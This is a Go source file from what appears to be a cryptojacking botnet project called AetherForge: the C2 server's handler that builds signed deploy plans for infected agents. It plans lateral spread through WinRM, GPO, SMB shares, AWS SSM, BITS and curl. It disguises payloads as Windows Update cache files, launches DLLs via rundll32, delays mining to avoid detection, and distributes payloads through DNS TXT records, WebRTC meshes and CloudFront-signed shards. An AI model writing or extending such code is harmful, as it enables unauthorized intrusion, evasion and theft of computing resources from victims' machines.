Files
AetherForge/server/internal/api/deploy_plan.go
AetherForge 0795c511ab
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add S3 erasure swarm with CloudFront signed magnets.
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
2026-06-07 10:05:21 -07:00

894 lines
27 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
import (
"context"
"crypto/hmac"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
)
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
type StagingManifest struct {
Method string `json:"method"`
Chunks []StagingChunk `json:"chunks"`
SHA256 string `json:"sha256"`
Dest string `json:"dest"`
Launch string `json:"launch"`
DLLExport string `json:"dll_export,omitempty"`
Encoded bool `json:"encoded"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSZone string `json:"dns_zone,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
}
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
Record string `json:"record,omitempty"`
Index int `json:"index,omitempty"`
}
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
type DeployPlanBody struct {
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
SSMDocument string `json:"ssm_document,omitempty"`
}
type deployPlanRequest struct {
AgentID string `json:"agent_id"`
BuildID string `json:"build_id,omitempty"`
Campaign string `json:"campaign,omitempty"`
Platform string `json:"platform"`
Services []DeployServiceFinding `json:"services"`
UNCPath string `json:"unc_path,omitempty"`
WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"`
}
type deployPlanResponse struct {
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
JoinLane string `json:"join_lane"`
MatchedService string `json:"matched_service,omitempty"`
Plan DeployPlanBody `json:"plan"`
Signature string `json:"signature"`
}
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
type DeployPlanHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
publicURL func() string
fleetSecret func() string
allowlist func() map[string]ServiceDeployLane
pathTracer *PathTracerHandler
erasureEnabled func() bool
erasureShards *erasure.ShardStore
awsSwarmSettings func() erasure.AWSSwarmSettings
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
}
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
return &DeployPlanHandler{
db: database,
dataDir: dataDir,
projectRoot: projectRoot,
publicURL: publicURL,
fleetSecret: fleetSecret,
allowlist: allowlist,
}
}
// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler
}
// BindErasure wires ReedSolomon shard encoding for multi-lane deploy plans.
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
h.erasureEnabled = enabled
h.erasureShards = store
}
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
h.erasureShards = store
if hub == nil {
return
}
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
}
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
h.awsSwarmSettings = settings
h.awsShardStore = store
}
// POST /api/v1/agent/deploy-plan
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
var req deployPlanRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if len(req.Services) == 0 {
http.Error(w, "services required", http.StatusBadRequest)
return
}
list := map[string]ServiceDeployLane{}
if h.allowlist != nil {
list = h.allowlist()
}
matched, lane, ok := PickDeployLane(req.Services, list)
if !ok {
writeJSON(w, map[string]interface{}{
"ok": false,
"error": "no allowlisted running services matched",
"checked": len(req.Services),
})
return
}
plan, err := h.buildPlan(req, matched, lane)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
sig, err := signDeployPlan(plan, h.fleetSecret())
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, deployPlanResponse{
OK: true,
JoinLane: plan.JoinLane,
MatchedService: matched,
Plan: plan,
Signature: sig,
})
}
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
if serverURL == "" {
serverURL = "http://127.0.0.1:8989"
}
body := DeployPlanBody{
JoinLane: lane.Lane,
MatchedService: matched,
Action: lane.Lane,
}
switch lane.Lane {
case "do_peer":
manifest, err := h.buildDOPeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.PeerGroup = manifest.PeerGroup
case "wsus_cache_peer":
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.CacheGroup = manifest.CacheGroup
case "dns_txt":
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.DNSTXTZone = zone
body.DNSTXTRecords = records
body.DNSTXTShards = shards
body.TTLRefreshSec = ttl
case "webrtc_mesh":
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.WebRTCMesh = mesh
case "bits_curl":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
case "docker_load":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
if body.ImageTarURL != "" && req.BuildID != "" {
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
body.ImageTarSHA256 = hash
}
}
case "winrm", "gpo", "linux_lotl":
tpl := strings.TrimSpace(lane.Template)
if tpl == "" {
tpl = lane.Lane
}
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
if err != nil {
return DeployPlanBody{}, err
}
body.Script = script
case "spread_smb_unc":
body.UNCPath = strings.TrimSpace(req.UNCPath)
body.MaxHosts = 64
case "ssm_document":
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.SSMDocument = bundle.Document
default:
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
}
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
h.attachCloudMapRouteVia(&body)
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
return DeployPlanBody{}, err
}
return body, nil
}
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
return nil
}
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return err
}
payload, err := os.ReadFile(build.FilePath)
if err != nil {
return fmt.Errorf("erasure read build: %w", err)
}
dest := `%TEMP%\AetherForge\worker.exe`
launch := "exe"
dllExport := ""
if body.Manifest != nil {
if body.Manifest.Dest != "" {
dest = body.Manifest.Dest
}
if body.Manifest.Launch != "" {
launch = body.Manifest.Launch
}
dllExport = body.Manifest.DLLExport
}
deferMining := true
spreadInstall := true
if body.Manifest != nil {
deferMining = body.Manifest.DeferMining
spreadInstall = body.Manifest.SpreadInstall
}
plan, err := erasure.BuildPlan(
h.erasureShards, serverURL, buildID, req.Campaign, payload,
dest, launch, dllExport, deferMining, spreadInstall,
)
if err != nil {
return err
}
body.ErasurePlan = plan
if body.SpreadRouteHint != nil {
body.SpreadRouteHint.ErasureLanesEnabled = true
}
shards := shardsFromStore(h.erasureShards, plan.ShardToken)
hashes := erasure.ShardContentHashes(shards)
if h.awsSwarmSettings != nil && h.awsShardStore != nil {
cfg := h.awsSwarmSettings()
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
if err != nil {
return err
}
if result != nil {
for i := range plan.Shards {
if i < len(result.EdgeURLs) {
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
}
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
}
}
}
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if body.SpreadRouteHint.SwarmMagnet == "" {
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
}
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
}
}
}
return nil
}
func shardsFromStore(store *erasure.ShardStore, token string) [][]byte {
if store == nil || token == "" {
return nil
}
p, ok := store.ParamsFor(token)
if !ok {
return nil
}
total := p.TotalShards()
out := make([][]byte, total)
for i := 0; i < total; i++ {
if sh, ok := store.Get(token, i); ok {
out[i] = sh
}
}
return out
}
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
if h.pathTracer == nil {
return nil
}
patientID := strings.TrimSpace(req.AgentID)
targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
if len(targets) == 0 {
return nil
}
var best *spreadrouter.SpreadRouteHint
for _, target := range targets {
if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
if best == nil || hint.Score > best.Score {
dup := *hint
best = &dup
}
}
}
return best
}
func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
seen := make(map[string]bool)
var out []string
add := func(sub string) {
sub = spreadrouter.NormalizeSubnet(sub)
if sub == "" || seen[sub] {
return
}
seen[sub] = true
out = append(out, sub)
}
if database != nil && agentID != "" {
if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
add(spreadrouter.SubnetFromIP(ag.IP))
}
}
for _, sess := range traceSessionsSnapshot(pathTracer) {
if sess == nil {
continue
}
patientInChain := false
for _, hop := range sess.Hops {
if hop != nil && hop.AgentID == agentID {
patientInChain = true
add(spreadrouter.SubnetFromIP(hop.ExternalIP))
break
}
}
if !patientInChain && agentID != "" {
continue
}
for _, host := range serviceGraphList(sess.ServiceGraph) {
add(host.Subnet)
add(spreadrouter.SubnetFromIP(host.Host))
}
}
return out
}
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
// then startMiningWhenReady() completes the mining onion (terminal goal).
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
peerGroup := "af-peer-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
}
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
PeerGroup: peerGroup,
}, nil
}
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
chunkFile := filepath.Base(build.FileName)
if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
chunkFile = wsusFormatMimicChunkName(hash, 0)
if !strings.Contains(downloadURL, "wsus_wrap=1") {
if strings.Contains(downloadURL, "?") {
downloadURL += "&wsus_wrap=1"
} else {
downloadURL += "?wsus_wrap=1"
}
}
}
cacheGroup := "af-wsus-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
}
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
CacheGroup: cacheGroup,
}, nil
}
func wsusFormatMimicEnabled(flag *bool) bool {
if flag == nil {
return true
}
return *flag
}
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, "", nil, nil, 0, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
}
zone := h.dnsTXTZone()
records := []string{
"_aether.shard0." + zone,
"_aether.shard1." + zone,
}
shards := []int{0, 1}
ttl := 300
chunks := make([]StagingChunk, len(records))
for i, rec := range records {
chunks[i] = StagingChunk{
Record: rec,
Index: shards[i],
File: fmt.Sprintf("shard-%d.b64", shards[i]),
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
}
}
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "dns_txt",
Chunks: chunks,
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
DNSZone: zone,
TTLRefreshSec: ttl,
}
return manifest, zone, records, shards, ttl, nil
}
func (h *DeployPlanHandler) dnsTXTZone() string {
zone := "internal"
if h.allowlist != nil {
_ = h.allowlist()
}
if h.dataDir != "" {
cfgPath := filepath.Join(h.dataDir, "config.json")
if data, err := os.ReadFile(cfgPath); err == nil {
var payload struct {
Server struct {
DNSZone string `json:"dns_zone"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
zone = strings.TrimSpace(payload.Server.DNSZone)
}
}
}
return zone
}
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
}
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "webrtc_mesh",
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
}
mesh := &WebRTCMeshPlanBody{
STUNServers: []string{"stun:stun.l.google.com:19302"},
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
LANFallbackURL: fallbackURL,
SeederAgentID: strings.TrimSpace(req.AgentID),
RotationHours: 24,
}
return manifest, mesh, nil
}
func sanitizeDeployToken(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
var b strings.Builder
for _, r := range s {
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
b.WriteRune(r)
}
}
out := b.String()
if out == "" {
return "local"
}
if len(out) > 24 {
return out[:24]
}
return out
}
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
method := "bits"
if platform == "linux" || platform == "darwin" {
method = "curl"
}
dest := `%TEMP%\AetherForge\worker.exe`
if platform == "linux" {
dest = "/tmp/aetherforge-worker"
}
return &StagingManifest{
Method: method,
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: "exe",
DeferMining: true,
SpreadInstall: true,
}, nil
}
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
b, err := h.db.GetBuild(buildID)
if err != nil {
return nil, err
}
return b, nil
}
b, err := h.db.GetLatestBuildForPlatform(platform)
if err != nil {
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
}
return b, nil
}
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
b, err := h.resolveBuild(buildID, platform)
if err != nil {
return "", err
}
return fileSHA256(b.FilePath)
}
func fileSHA256(path string) (string, error) {
f, err := os.Open(path)
if err != nil {
return "", err
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", err
}
return hex.EncodeToString(h.Sum(nil)), nil
}
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
subdir, _, err := spreadTemplatePaths(template)
if err != nil {
return "", err
}
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
entries, err := os.ReadDir(dir)
if err != nil {
return "", fmt.Errorf("template dir: %w", err)
}
var scriptFile string
for _, e := range entries {
if e.IsDir() {
continue
}
name := e.Name()
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
scriptFile = filepath.Join(dir, name)
break
}
}
if scriptFile == "" {
return "", fmt.Errorf("no script in template %s", subdir)
}
data, err := os.ReadFile(scriptFile)
if err != nil {
return "", err
}
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
repl := map[string]string{
"{{SERVER_URL}}": serverURL,
"{{BUILD_ID}}": buildID,
"{{CAMPAIGN}}": campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{COM_HIJACK}}": "false",
"{{LOTL_MODE}}": "systemd_run_user",
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
return content, nil
}
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
if fleetSecret == "" {
return "", fmt.Errorf("fleet secret not configured")
}
payload, err := json.Marshal(plan)
if err != nil {
return "", err
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
return hex.EncodeToString(mac.Sum(nil)), nil
}
// VerifyDeployPlanSignature validates an HMAC-SHA256 plan from the C2.
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
if fleetSecret == "" || signature == "" {
return false
}
payload, err := json.Marshal(plan)
if err != nil {
return false
}
mac := hmac.New(sha256.New, []byte(fleetSecret))
mac.Write(payload)
expected := hex.EncodeToString(mac.Sum(nil))
return hmac.Equal([]byte(expected), []byte(signature))
}
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
namespace = "prod.local"
service = "seeder"
if h.dataDir == "" {
return namespace, service
}
cfgPath := filepath.Join(h.dataDir, "config.json")
data, err := os.ReadFile(cfgPath)
if err != nil {
return namespace, service
}
var payload struct {
Server struct {
CloudMapNamespace string `json:"cloud_map_namespace"`
CloudMapService string `json:"cloud_map_service"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) != nil {
return namespace, service
}
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
namespace = ns
}
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
service = svc
}
return namespace, service
}
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
if body == nil {
return
}
ns, svc := h.cloudMapSettings()
routeVia := cloudmap.SeederDNSName(svc, ns)
if routeVia == "" {
return
}
if body.SpreadRouteHint == nil {
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
}
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
body.SpreadRouteHint.RouteVia = routeVia
}
}